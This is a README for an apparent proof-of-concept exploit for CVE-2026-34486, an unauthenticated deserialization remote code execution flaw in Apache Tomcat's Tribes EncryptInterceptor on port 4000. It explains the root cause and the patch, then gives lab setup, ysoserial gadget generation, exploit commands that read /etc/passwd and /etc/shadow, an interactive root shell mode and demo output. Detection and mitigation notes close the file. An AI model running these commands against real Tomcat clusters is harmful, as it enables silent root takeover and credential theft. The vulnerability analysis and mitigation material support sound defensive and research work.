Share
## https://sploitus.com/exploit?id=05869CA7-92ED-5040-BB39-AE26A84D0EBA
# CVE-2026-34486 โ€” Apache Tomcat EncryptInterceptor RCE

> **Apache Tomcat** Tribes cluster communication module fails to discard messages when `EncryptInterceptor` decryption fails, allowing unauthenticated attackers to trigger **Remote Code Execution** via Java deserialization on port 4000.

![Apache Tomcat](https://img.shields.io/badge/Apache%20Tomcat-9.0.0.M1--9.0.116-red?logo=apachetomcat)
![CVE](https://img.shields.io/badge/CVE-2026--34486-critical?color=critical)
![CVSS](https://img.shields.io/badge/CVSS-7.5-orange)
![Python](https://img.shields.io/badge/Python-3.6%2B-blue?logo=python)
![Java](https://img.shields.io/badge/Java-11%2B-orange?logo=openjdk)
![Docker](https://img.shields.io/badge/Docker-ready-blue?logo=docker)
![License](https://img.shields.io/badge/License-MIT-green)

---

## Vulnerability Details

| Field | Info |
|-------|------|
| CVE ID | CVE-2026-34486 |
| CVSS Score | 7.5 (High) |
| Component | Apache Tomcat Tribes `EncryptInterceptor` |
| Affected Versions | 9.0.0.M1 โ€“ 9.0.116 / 10.1.0-M1 โ€“ 10.1.53 / 11.0.0-M1 โ€“ 11.0.20 |
| Fixed Versions | 9.0.117 / 10.1.54 / 11.0.21 |
| Vulnerability Type | Unauthenticated Remote Code Execution via Deserialization |
| Attack Vector | Network / No Authentication / Low Complexity |
| Attack Port | TCP 4000 (Tribes NioReceiver) |

---

## Root Cause

Apache Tomcat's clustering feature uses the **Tribes** framework to synchronize session data between cluster nodes, listening on TCP port 4000 by default.

When `EncryptInterceptor` (AES/CBC) is enabled, the following logic flaw exists:

```java
// EncryptInterceptor.java โ€” vulnerable version
public void messageReceived(ChannelMessage msg) {
    try {
        byte[] decrypted = decrypt(msg.getMessage().getBytes());
        // process decrypted message...
    } catch (Exception e) {
        log.error("Failed to decrypt message", e);  // only logs the error
    }
    super.messageReceived(msg);  // โ† BUG: raw bytes forwarded even after decryption failure
}
```

The `catch` block only logs the error. Since `super.messageReceived(msg)` is **outside** the `try-catch`, the **raw unencrypted bytes** are forwarded to `XByteBuffer.deserialize()` โ†’ `ObjectInputStream.readObject()`.

An attacker can send a crafted deserialization payload to trigger RCE without any authentication.

### Attack Chain

```
Attacker  โ”€โ”€TCP:4000โ”€โ”€โ–บ  NioReceiver (no auth)
                               โ”‚
                    EncryptInterceptor.messageReceived()
                      try  { AES/CBC decrypt โ†’ IllegalBlockSizeException }
                      catch{ log.severe("Failed to decrypt") }  โ† only log trace
                      super.messageReceived(msg)                โ† BUG: raw bytes pass through
                               โ”‚
                    GroupChannel โ†’ XByteBuffer.deserialize()
                               โ”‚
                    ObjectInputStream.readObject()              โ† deserialization triggered
                               โ”‚
                    CommonsCollections6 Gadget Chain
                               โ”‚
                    Runtime.exec()  โ†’  RCE as root  ๐Ÿ”ด
```

### Patch (9.0.117)

The fix moves `super.messageReceived(msg)` **inside** the `try` block, so any decryption failure causes the message to be silently dropped (fail-closed).

```java
// EncryptInterceptor.java โ€” patched version
public void messageReceived(ChannelMessage msg) {
    try {
        byte[] decrypted = decrypt(msg.getMessage().getBytes());
        // process...
        super.messageReceived(msg);  // โ† FIXED: only reached if decryption succeeds
    } catch (Exception e) {
        log.error("Failed to decrypt message", e);  // message is discarded
    }
}
```

---

## Requirements

- Python 3.6+
- Java 11+ (`java` and `javac` in PATH)
- Docker (for lab deployment)
- `ysoserial-all.jar`
- `apache-tomcat-9.0.116` (for Tribes library)

---

## Lab Setup

### Pull the pre-built vulnerable image

```bash
docker run -d \
  --name tomcat-cve-2026-34486 \
  -p 8080:8080 \
  -p 4000:4000 \
  nowday3/cve-2026-34486:latest

# Verify
curl http://localhost:8080
```

### Build from source

```bash
git clone https://github.com/404-src/CVE-2026-34486
cd CVE-2026-34486/

docker build -t tomcat-vuln ./victim/
docker run -d \
  --name tomcat-cve-2026-34486 \
  -p 8080:8080 \
  -p 4000:4000 \
  tomcat-vuln
```

---

## Download Dependencies

```bash
# ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# Tomcat 9.0.116 (for Tribes library)
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.116/bin/apache-tomcat-9.0.116.tar.gz
tar xzf apache-tomcat-9.0.116.tar.gz
cp apache-tomcat-9.0.116/bin/tomcat-juli.jar apache-tomcat-9.0.116/lib/
```

---

## Exploitation

### Basic RCE verification

```bash
python3 exp.py -t 127.0.0.1 -p 4000 -c "touch /tmp/pwned"

# Verify
docker exec tomcat-cve-2026-34486 ls -la /tmp/pwned
```

### RCE with output (recommended)

```bash
python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"
# Output: uid=0(root) gid=0(root) groups=0(root)

python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/passwd"
python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/shadow"
```

### Interactive shell mode

```bash
python3 exp.py -t 127.0.0.1 -p 4000 --shell

# rce@127.0.0.1$ id
# rce@127.0.0.1$ hostname
# rce@127.0.0.1$ exit
```

### Custom paths

```bash
python3 exp.py -t 127.0.0.1 -p 4000 --rce "id" \
  --ysoserial ./ysoserial-all.jar \
  --tomcat-lib ./apache-tomcat-9.0.116/lib
```

### exp.py Options

```
-t, --target      Target IP (default: 127.0.0.1)
-p, --port        Tribes port (default: 4000)
    --http-port   HTTP port for output retrieval (default: 8080)
-c, --command     Execute command directly (no shell features)
    --rce         Execute command and retrieve output via HTTP
    --shell       Interactive shell mode
-g, --gadget      Gadget chain (default: CommonsCollections6)
    --ysoserial   Path to ysoserial jar
    --tomcat-lib  Path to Tomcat lib directory
```

---

## Demo

```
$ python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"

 โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•—   โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—    โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—
โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ•โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ•    โ•šโ•โ•โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ•โ•โ–ˆโ–ˆโ•—โ•šโ•โ•โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ•
โ–ˆโ–ˆโ•‘     โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—
โ–ˆโ–ˆโ•‘     โ•šโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•”โ•โ•โ•โ•šโ•โ•โ•โ•โ•โ–ˆโ–ˆโ•”โ•โ•โ•โ• โ–ˆโ–ˆโ•‘โ–„โ–„ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ•โ• โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•‘
โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ• โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—    โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•
                                                          34486

Apache Tomcat EncryptInterceptor Bypass โ†’ Deserialization โ†’ RCE

Target     : 127.0.0.1:4000
Gadget     : CommonsCollections6

[*] Compiling TribesClient.java ...
[+] Compiled successfully
[*] Generating CommonsCollections6 payload ...
[+] Payload: 1361 bytes
[*] Sending Tribes frame โ†’ 127.0.0.1:4000
    [tribes] frame=1496B cdBytes=1478B
[+] Frame sent!
[*] Fetching result: http://127.0.0.1:8080/.out.txt

    uid=0(root) gid=0(root) groups=0(root)
```

---

## Detection & Indicators of Compromise

The **only** log trace left by the attack:

```
SEVERE [Tribes-Task-Receiver[Catalina-Channel]-1]
org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived
Failed to decrypt message
  javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16
  when decrypting with padded cipher
```

No `readObject` exception is logged โ€” the command executes silently.

### Mitigation

| Action | Priority |
|--------|----------|
| Upgrade to Tomcat 9.0.117 / 10.1.54 / 11.0.21 | **Critical** |
| Restrict port 4000 to trusted cluster IPs only | High |
| Monitor logs for repeated `Failed to decrypt message` | Medium |
| Disable Tribes clustering if not needed | High |

---

## Repository Structure

```
CVE-2026-34486/
โ”œโ”€โ”€ exp.py                     # One-click exploit script
โ”œโ”€โ”€ README.md                  # This file
โ””โ”€โ”€ lab/                       # Vulnerable lab environment
    โ”œโ”€โ”€ docker-compose.yml
    โ””โ”€โ”€ victim/
        โ”œโ”€โ”€ Dockerfile         # Tomcat 9.0.116 + commons-collections 3.2.1
        โ”œโ”€โ”€ conf/server.xml    # Vulnerable config (EncryptInterceptor + NioReceiver)
        โ””โ”€โ”€ webapps/ROOT/index.jsp
```

---

## References

- [Apache Tomcat Security Advisories](https://tomcat.apache.org/security-9.html)
- [Apache Tribes Documentation](https://tomcat.apache.org/tomcat-9.0-doc/cluster-howto.html)
- [ysoserial โ€” frohoff](https://github.com/frohoff/ysoserial)
- [Java Deserialization Cheatsheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet)

---

## Disclaimer

**This project is intended for authorized security research, penetration testing, and educational purposes only.**
Do not use this tool against systems you do not own or have explicit permission to test.
The author assumes no liability for any misuse or damage caused by this tool.

---

## License

MIT License ยฉ 2026 [404-src](https://github.com/404-src)